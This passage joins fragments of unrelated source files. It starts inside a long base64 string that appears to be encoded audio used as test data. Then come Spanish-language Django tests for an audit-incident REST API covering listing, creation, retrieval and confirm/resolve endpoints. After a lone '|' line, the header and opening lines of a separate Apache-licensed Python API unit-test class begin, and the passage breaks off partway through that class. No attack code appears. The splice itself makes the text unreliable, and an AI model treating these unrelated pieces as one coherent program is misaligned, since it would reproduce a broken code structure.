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qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq//viZAAP8BYAgAOAAAgAAA0gAAABAAABpAAAACAAADSAAAAEOTVFMQU1FMy4xMDCqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqTEFNRTMuMTAwqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="
resp1 = self.client.post('/api/auditorias/respuesta/transcribir/', {'audio': audio})
self.assertEqual(resp1.status_code, 200)
class IncidenteViewTestCase(APITestCase):
def setUp(self):
self.client = APIClient()
self.user = get_user_model().objects.create_user(username='test', email='test@example.io', password='test123')
self.client.force_authenticate(user=self.user)
def test_list(self):
suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1")
suc_2 = Sucursal.objects.create(nombre="Tres Cruces", numero_de_sag="2", telefono=456456)
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE",tipo="Audio", respuestas_correctas=["Si", "No"])
aud = Auditoria.objects.create(sucursal=suc)
usr = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=aud, pregunta=preg, usuario=usr)
usr2 = get_user_model().objects.create(username="Nacho", email="nacho@gmail.com", password="123456")
Incidente.objects.create(reporta=usr2,asignado=self.user, respuesta=res, accion='TOMA ACCION EN INCIDENTE 1', sucursal=suc) #si 1
Incidente.objects.create(reporta=self.user,asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE 2', sucursal=suc_2) #si 2
Incidente.objects.create(reporta=usr2, asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=suc) #no
Incidente.objects.create(reporta=usr2, asignado=self.user, respuesta=res, accion='TOMA ACCION EN INCIDENTE',sucursal=suc,status="Confirmado") # no
Incidente.objects.create(reporta=self.user, asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE',sucursal=suc_2,status="Confirmado")# no
Incidente.objects.create(reporta=usr2, asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE',sucursal=suc,status="Confirmado")# no
Incidente.objects.create(reporta=usr2, asignado=self.user, respuesta=res, accion='TOMA ACCION EN INCIDENTE',sucursal=suc, status="Resuelto")# no
Incidente.objects.create(reporta=self.user, asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE 3',sucursal=suc_2, status="Resuelto")# si 3
Incidente.objects.create(reporta=usr2, asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE',sucursal=suc, status="Resuelto")# no
resp1 = self.client.get('/api/auditorias/incidente',follow=True)
print(resp1.data)
self.assertEqual(len(resp1.data),3)
self.assertEqual(resp1.status_code, 200)
def test_create_201(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuesta': res.id, 'asignado': usr.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 201)
def test_get_incidente_200_A(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr_1 = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr_1)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuesta': res.id, 'asignado': usr_1.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 201)
incident = Incidente.objects.create(reporta=self.user, asignado=usr_1, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=test_suc)
incidente_id = str(incident.pk)
resp2 = self.client.get(f'/api/auditorias/incidente/{incidente_id}', follow=True)
self.assertEqual(resp2.status_code, 200)
def test_get_incidente_200_B(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr_1 = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr_1)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuesta': res.id, 'asignado': usr_1.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 201)
incident = Incidente.objects.create(reporta=usr_1, asignado=self.user, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=test_suc)
incidente_id = str(incident.pk)
resp2 = self.client.get(f'/api/auditorias/incidente/{incidente_id}', follow=True)
self.assertEqual(resp2.status_code, 200)
def test_get_incidente_404_A(self):
# Se pide un incidente cuyo usuario que reporta no es el que hace la request
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr_1 = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
usr_2 = get_user_model().objects.create(username="Fer", email="fer@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr_1)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuesta': res.id, 'asignado': usr_1.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 201)
incident = Incidente.objects.create(reporta=usr_1, asignado=usr_2, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=test_suc)
incidente_id = str(incident.pk)
resp2 = self.client.get(f'/api/auditorias/incidente/{incidente_id}', follow=True)
self.assertEqual(resp2.status_code, 404)
def test_get_incidente_404_B(self):
# Se pide un incidente con id inexistente
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr_1 = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr_1)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuesta': res.id, 'asignado': usr_1.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 201)
incident = Incidente.objects.create(reporta=self.user, asignado=usr_1, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=test_suc)
incidente_id = 44444444 # Un ID arbitrario que no existe
resp2 = self.client.get(f'/api/auditorias/incidente/{incidente_id}', follow=True)
self.assertEqual(resp2.status_code, 404)
def test_get_incidente_400(self):
# Se pide un incidente con id string
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr_1 = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr_1)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuesta': res.id, 'asignado': usr_1.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 201)
incident = Incidente.objects.create(reporta=self.user, asignado=usr_1, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=test_suc)
incidente_id = "ID Inexistente"
resp2 = self.client.get(f'/api/auditorias/incidente/{incidente_id}', follow=True)
self.assertEqual(resp2.status_code, 400)
def test_create_400(self):
test_suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1", telefono="1")
pre = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE",
tipo="Audio", respuestas_correctas=["Si", "No"])
usr = get_user_model().objects.create(username="Sher", email="sher@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=test_suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=pre, usuario=usr)
resp1 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'respuestasta': res.id, 'asignado': usr.id, })
#resp2 = self.client.post('/api/auditorias/incidente/',{'sucursal': test_suc.id, 'respuesta': res.id,'accion': "la wea que se tiene que hacer"})
resp3 = self.client.post('/api/auditorias/incidente/', {'sucursal': test_suc.id, 'asignado': usr.id, 'accion': "la wea que se tiene que hacer"})
resp4 = self.client.post('/api/auditorias/incidente/', {'respuesta': res.id, 'asignado': usr.id, 'accion': "la wea que se tiene que hacer"})
self.assertEqual(resp1.status_code, 400)
#self.assertEqual(resp2.status_code, 400)
self.assertEqual(resp3.status_code, 400)
self.assertEqual(resp4.status_code, 400)
def test_confirmar(self):
suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr2 = get_user_model().objects.create(username="Nacho", email="nacho@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr2)
incident=Incidente.objects.create(asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=suc)
resp1 = self.client.post('/api/auditorias/incidente/'+str(incident.id)+'/confirmar/',
{'pregunta': preg.id, 'asignado': usr2.id, 'accion': "la wea que se tiene que hacer"},follow=True)
resp2 = self.client.post('/api/auditorias/incidente/2345678/confirmar/',
{'pregunta': preg.id, 'asignado': usr2.id, 'accion': "la wea que se tiene que hacer"},follow=True)
resp3 = self.client.post('/api/auditorias/incidente/' +str( incident.id) + '/confirmar/',
{'pregunta': preg.id, 'accion': "la wea que se tiene que hacer"},follow=True)
self.assertEqual(resp1.status_code, 202)
self.assertEqual(resp2.status_code, 404)
def test_resolver(self):
suc = Sucursal.objects.create(nombre="Nuevo Centro", numero_de_sag="1")
preg = Pregunta.objects.create(pregunta="El test funciona bien?", seccion="Adentro", categoria="DIGEFE", tipo="Audio", respuestas_correctas=["Si", "No"])
usr2 = get_user_model().objects.create(username="Nacho", email="nacho@gmail.com", password="123456")
audit1 = Auditoria.objects.create(id=1, sucursal=suc, finalizada=False)
res = Respuesta.objects.create(respuesta="Si anda bien", auditoria=audit1, pregunta=preg, usuario=usr2)
incidente=Incidente.objects.create(asignado=usr2, respuesta=res, accion='TOMA ACCION EN INCIDENTE', sucursal=suc)
resp1 = self.client.post('/api/auditorias/incidente/'+str(incidente.id)+'/resolver/',
{'pregunta': preg.id, 'asignado': usr2.id, 'accion': "la wea que se tiene que hacer"},follow=True)
resp2 = self.client.post('/api/auditorias/incidente/1/resolver/',
{'pregunta': preg.id, 'asignado': usr2.id, 'accion': "la wea que se tiene que hacer"},follow=True)
resp3 = self.client.post('/api/auditorias/incidente/' + str(incidente.id) + '/resolver/',
{'pregunta': preg.id, 'accion': "la wea que se tiene que hacer"}, follow=True)
self.assertEqual(resp1.status_code, 202)
self.assertEqual(resp2.status_code, 404)
|
# Copyright 2021 Jared Hendrickson
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import requests
import argparse
import json
import uuid
import sys
import os
import signal
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class APIUnitTest:
# CLASS PROPERTIES #
args = {}
uid = str(uuid.uuid4())
url = ""
exit_code = 1
time_delay = 1
get_payloads = []
post_payloads = []
put_payloads = []
delete_payloads = []
get_responses = []
post_responses = []
put_responses = []
delete_responses = []
# CLASS METHODS #
def __init__(self):
signal.signal(signal.SIGINT, APIUnitTest.__safe_escape__)
self.__start_argparse__()
